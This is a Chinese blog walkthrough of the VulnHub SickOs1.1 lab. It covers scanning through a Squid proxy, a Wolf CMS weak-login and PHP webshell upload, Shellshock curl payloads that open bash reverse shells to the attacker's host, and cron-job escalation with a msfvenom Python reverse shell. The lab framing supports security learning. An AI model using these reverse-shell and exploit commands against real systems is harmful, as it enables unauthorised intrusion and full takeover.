vulnhub靶场之SickOs1.1(一)

靶场考察知识

shellshock漏洞

shellshock即unix系统下的bash shell的一个漏洞, Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞, 向环境变量值内的函数定义后添加多余的字符串会触发此漏洞, 攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令
执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理

Linux计划任务提权

重点查看以下计划任务文件是否有可提权的操作

  • /etc/crontab
  • /etc/cron.d/*
  • /etc/cron.daily/*
  • /etc/cron.hourly/*
  • /etc/cron.monthly/*
  • /etc/cron.weekly/

数据库配置文件泄露

通常在网站的根目录或者config目录会保存着数据库配置文件, 此文件存有数据库用户的相关信息, 可能会对后续用户的登录爆破起到至关重要的作用

靶场搭建

SickOS靶场的下载地址: https://download.vulnhub.com/sickos/sick0s1.1.7z
直接在虚拟机–文件功能–打开就行了。

渗透测试

信息收集

主机发现

查看kaliIP ifconfig
image.png
靶机设置的桥接模式,所以直接扫C段

扫描C段存活主机:nmap -sn 192.168.0.0/24
nmap -sP 192.168.0.0/24
也可以使用arp-scan探测网段内目标
arp-scan -l

image.png
image.png
可以确定IP192.168.0.109为靶机IP

端口扫描
nmap -sV -n -p- 192.168.0.109
nmap -sS -A IP
分别使用TCP和UDP扫描目标主机的开放端口
nmap -sV --min-rate 10000 -p- IP    默认使用TCP扫描
nmap -sU -p22,3128,8080 IP

image.png
image.png
image.png
image.png
由上图扫描结果得知以下信息
开放端口:22,3128,8080
目标主机系统为Ubuntu Linux 3128端口为squid代理服务
使用nmap自带的web漏扫脚本进行扫描, 没有发现漏洞

nmap --script=vuln -p22,3128,8080 192.168.0.109
目录爆破

常规思路是直接访问3128端口 和8080端口 结果是无法访问。因此需要设置代理访问。
image.png
image.png

dirb扫描

因为3128开放了代理服务 可以借助他的代理来访问可用dirb扫描一些web目录

dirb http://192.168.0.109 -p http://192.168.0.109:3128

image.png

nikto扫描
nikto -host htpp://192.168.0.109:3128
dirsearch扫描
python3 dirsearch.py -u http://192.168.0.109 -phttp://192.168.0.109:3128

扫描结果如下所示
image.png
由上面三种扫描结果可知存在 robots.txt文件 因为无法直接访问因此在浏览器上设置代理。在foxyproxy上设置代理即可。
image.png
image.png

Wolf CMS介绍

Wolf CMS是一种内容管理系统,并且免费。其由PHP编码语言写成。Wolf CMS 0.8.2以及之前版本中存在文件上传漏洞。攻击者可以滥用上传特性来上传恶意的PHP文件到程序中,最终导致任意远程代码执行。
上述可知网站CMS为wolfcms,访问看看有啥东西。
image.png
网上搜索相关CMS漏洞复现文章 存在文件上传漏洞
https://cloud.tencent.com/developer/article/1047292
或是kali搜索wolfcms相关漏洞POC

searchsploit Wolf CMS 
locate 38000
cat /usr/share/exploitdb/exploits/php/webapps/38000.txt

image.png
image.png
发现后台路径

/wolfcms/?/admin/plugin/file_manager/browse/

image.png

漏洞挖掘

尝试访问 弱口令 admin admin登录后台
image.png
image.png

写入文件反弹SHELL

熟悉各个功能之后发现 在Atricles的编辑页面处添加上一行php反弹shell代码然后保存

设置kaliIP和端口
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.110/4488 0>&1'");?>

image.png
image.png
kali监听本机的4444端口, 然后点击Atricles页面触发反弹shell代码

nc -lvp 4488
http://192.168.0.109/wolfcms/?articles.html  访问含有反弹shell代码的页面

image.png
image.png
拿到shell
image.png

上传文件反弹shell

可以发现还有其他功能点有写入,上传文件的权限,可以上传一句话马,然后蚁剑开启代理连接。
image.png
使用kali自带的脚本文件反弹shell

cd /usr/share/webshells/
cd php 
cat php-reverse-shell.php 

image.png
cat 文件之后 标记处设置你的kaliIP 和端口
image.png
image.png
然后将文件上传到靶机上
image.png
kali上开启监听 访问shell地址:http://192.168.0.109/wolfcms/public/shell.php 触发

nc -lvp 1234

返回shell
image.png
查看有哪些用户 发现root 和sickos

cat /etc/passwd | grep /bin/bash

image.png

shellshock 漏洞反弹shell

尝试使用ShellShock漏洞的exp, 执行whoami命令, 页面输出命令的执行结果

curl --proxy http://192.168.0.109:3128 -H "User-Agent:() { :;};echo;/usr/bin/whoami" http://192.168.0.109/cgi-bin/status

image.png
kali监听端口 利用ShellShock漏洞远程执行反弹shell命令

curl --proxy http://192.168.0.109:3128 -H "User-Agent:() { :;};/bin/bash -i >& /dev/tcp/192.168.0.110/4455 0>&1" http://192.168.0.109/cgi-bin/status

image.png
也可以使用kali自带 脚本shellshock

searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .   后面有个点 复制到当前目录

python2 34900.py payload=reverse rhost=192.168.0.109 lhost=192.168.0.110 lport=5545 proxy=192.168.0.109:3128 pages=/cgi-bin/status/

image.png
image.png
image.png
还可以使用wget反弹shell

主机渗透

获取主机基本信息

收集目标主机的基本信息,当前shell的用户名为www-data 该用户没有root权限
www-data用户通常用于前后端的数据交互
image.png

发现网站配置文件

image.png
发现数据库账号密码
image.png

尝试登录root权限的用户

查看etc/passwd文件, 像这里root、backup、sickos这些拥有bash环境的用户都要尝试使用上述的密码进行登录, 毕竟有时候网站的管理员会将数据库的密码和系统主机的密码设置成相同的
image.png
发现只有sickos用户登录成功 输入密码john@123
image.png
输入sudo -l, 查看当前用户权限为(ALL; ALL;ALL), 即拥有root用户权限

获取flag

执行sudo /bin/bash提权, 随后获取flag
image.png
image.png

计划任务提权

查看目标主机是否安装了python: dpkg -l | grep “python”, 可以发现目标主机只安装了python2
image.png
查看/etc/crontab, 没有可利用的计划任务

cat /etc/crontab

image.png
查看/etc/cron.d/ 目录下的文件 发现automate文件有个计划任务,该计划任务内容是每分钟以root用户用python执行/var/www/connect.py 下的文件 ,这样就可以修改py文件的内容,执行py反弹shell,获取root用户的shell。
image.png
msf生成python反弹shell代码,然后复制双引号内代码 vim /var/www/connect.py

msfvenom -p cmd/unix/reverse_python lhost=192.168.0.110 lport=1587 -f raw

image.png
shell环境下vim有点变态 执行vim编辑之后
image.png
输入e
image.png
然后输入o,粘贴代码进去,按esc键加 : 冒号 加wq之后按回车键即可
image.png
然后开启监听,一分钟之后返回shell root权限。
image.png

总结

第一次打vulnhub靶机还是花了很长时间,也参考了其他师傅的优秀文章。收录了其他师傅打靶的攻击思路,文章中用了多种方法多个工具进行信息收集,反弹shell等思路。
对kali里面工具的不熟悉,反弹shell相关的知识需要加强,以及计划任务提权的学习。wolf cms漏洞的利用。

参考链接

https://www.cnblogs.com/henry666/p/16954510.html
https://zhuanlan.zhihu.com/p/524694247
https://www.runoob.com/w3cnote/linux-crontab-tasks.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你还心动嘛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值